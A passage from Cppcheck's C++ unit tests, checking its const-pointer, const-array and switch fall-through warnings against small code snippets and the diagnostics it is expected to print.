{\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" 